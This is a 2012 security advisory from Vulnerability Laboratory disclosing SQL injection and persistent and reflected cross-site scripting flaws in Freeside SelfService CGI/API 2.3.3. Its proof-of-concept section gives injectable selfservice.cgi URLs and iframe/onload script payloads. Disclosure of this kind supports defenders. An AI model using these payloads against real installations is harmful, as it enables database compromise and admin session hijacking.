Freeside SelfService CGI|API 2.3.3 - Multiple Vulnerabilities

[Research <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Freeside SelfService CGI|API 2.3.3 - Multiple Vulnerabilities


Date:
=====
2012-06-14


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=614


VL-ID:
=====
614


Common Vulnerability Scoring System:
====================================
6.5


Introduction:
=============
Billing, ticketing, reporting and configuration for employees and resellers The 
majority of Freeside s 
functionality is accessed from here. The back office interface includes 
searching and viewing of customers, 
invoices, trouble tickets and services, as well as reporting, configuration, 
per-user access control, 
resellser virtualization and more.

(Copy of the Vendor Homepage: http://freeside.biz/freeside )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web 
vulnerabilities in Freesides SelfService CGI|API v2.3.3 git.


Report-Timeline:
================
2012-06-14:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Freeside
Product: SelfService CGI|API v2.3.3


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
Multiple SQL Injection vulnerabilities are detected in Freesides SelfService 
CGI|API v2.3.3.
The vulnerability allows an attacker (remote) or local low privileged user 
account to inject/execute own 
sql commands on the affected application dbms without user inter action. The 
vulnerability is located in the 
selfservice.cgi and the bound parameters action & svcnum. Successful 
exploitation of the vulnerability 
results in dbms & application compromise.


Vulnerable Module(s):
                          [+] View my usage - Service usage details 

Vulnerable File(s):
                          [+] selfservice.cgi

Vulnerable File(s):
                          [+] svcnum
                          [+] action


1.2
Multiple persistent input validation vulnerabilities are detected in Freesides 
SelfService CGI|API v2.3.3.
The bugs allow remote attackers to implement/inject malicious script code on 
the application side (persistent). 
The persistent vulnerabilities are located in the cust_main.cgi, part_pkg.cgi, 
part_event.html or part_device.html 
with the bound parameters company address, package comment, event- & device 
name. Exploitation requires low user 
inter action & privileged application user account. Successful exploitation of 
the vulnerability can lead to 
session hijacking (admin) or stable (persistent) context manipulation. 

Vulnerable Files(s):
                          [+] ../edit/cust_main.cgi?426
                          [+] ../edit/part_pkg.cgi?4
                          [+] ../browse/part_event.html
                          [+] ../browse/part_device.html

Vulnerable Module(s):
                          [+] [Company] [Address]
                          [+] [Package] [Comment]
                          [+] [Event Name]
                          [+] [Device Name]



1.3
Multiple non persistent cross site scripting vulnerabilities are detected in 
Freesides SelfService CGI|API v2.3.3.
The vulnerability allows remote attackers to hijack website customer, moderator 
or admin sessions with high required 
user inter action or local low privileged user account. The vulnerabilities are 
located in the selfservice.cgi file 
with the vulnerable bound parameters pkg, pkgnum, beginning & end. Successful 
exploitation can result in account steal, 
phishing & client-side content request manipulation. 

Vulnerable Module(s):
                          [+] Change User Details
                          [+] Change Package

Vulnerable File(s):
                          [+] selfservice.cgi


Vulnerable Parameter(s):
                          [+] pkg & pkgnum
                          [+] end & beginning


Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without 
privileged user account or user inter action.
For demonstration or reproduce ...

PoC:
../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=-1'[SQL-INJECTION];beginning=0;ending=0
../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details[SQL-INJECTION];svcnum=X;beginning=0;ending=0

> "SELECT * FROM svc_acct WHERE svcnum = ?": LINE 1: SELECT * FROM svc_acct 
> WHERE svcnum = $1

Note: First get a alive session, exchange it with the expired of the poc and 
then try to access the url to inject your sql commands.


1.2
The persistent input validation vulnerabilities can be exploited by remote 
attackers with low required user inter action.
For demonstration or reproduce ...

Example:
The attacker create/edit an account and inject a malicious script code i.e., 
<iframe src=www.vuln-lab.com onload=alert("VL")></iframe> 
in the vulnerable fields which are Company and Address. This bug is very 
dangerous because once the admin enters the admin area 
he will see the page of users. The code that we injected will be executed out 
of the main page context of the admin.


Review: Payname

<font color="#FF0000">Illegal (name) (error code illegal_name) payname: 
"><iframe src="selfservice.cgi-Dateien/a.xht" onload='alert("VL")' <<="" 
font="">
</FONT><BR><BR>


Review: Faxname

<font color="#FF0000">Illegal (phone) (error code illegal_phone) fax: "
><iframe src="selfservice2.cgi-Dateien/a.htm" onload='alert("VL")' <<="" 
>font=""><
/FONT><BR><BR>


Review: Username

username) (2-32): "><iframe src="selfservice3.cgi-Dateien/a.htm" 
onload='alert("VL</FONT'>
</FONT><BR><BR>
<FORM
NAME="OrderPkgForm" 


1.3
The non persistent cross site scripting vulnerabilities can be exploited by 
remote attackers with medium or high required user
inter action & without local privileged user account. For demonstration or 
reproduce ...

PoC:

Module: Change User Details

http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=598;
beginning=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C;ending=%22
%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C


Module: Change Package

http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;
pkgnum=3646;pkg=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C


http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;
pkgnum=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C;pkg=Super%20Bundle%20200GB


Risk:
=====
1.1
The security risk of the sql injection vulnerability is estimated as high(-).

1.2
The security risk of the persistent input validation vulnerabilities are 
estimated as medium(+).

1.3
The security risk of the non-persistent cross site scripting vulnerabilities 
are estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Ibrahim El-Sayed [the StOrM) 
(storm@xxxxxxxxxxxxxxxxxxxxx)
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxxxxxx)


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===========
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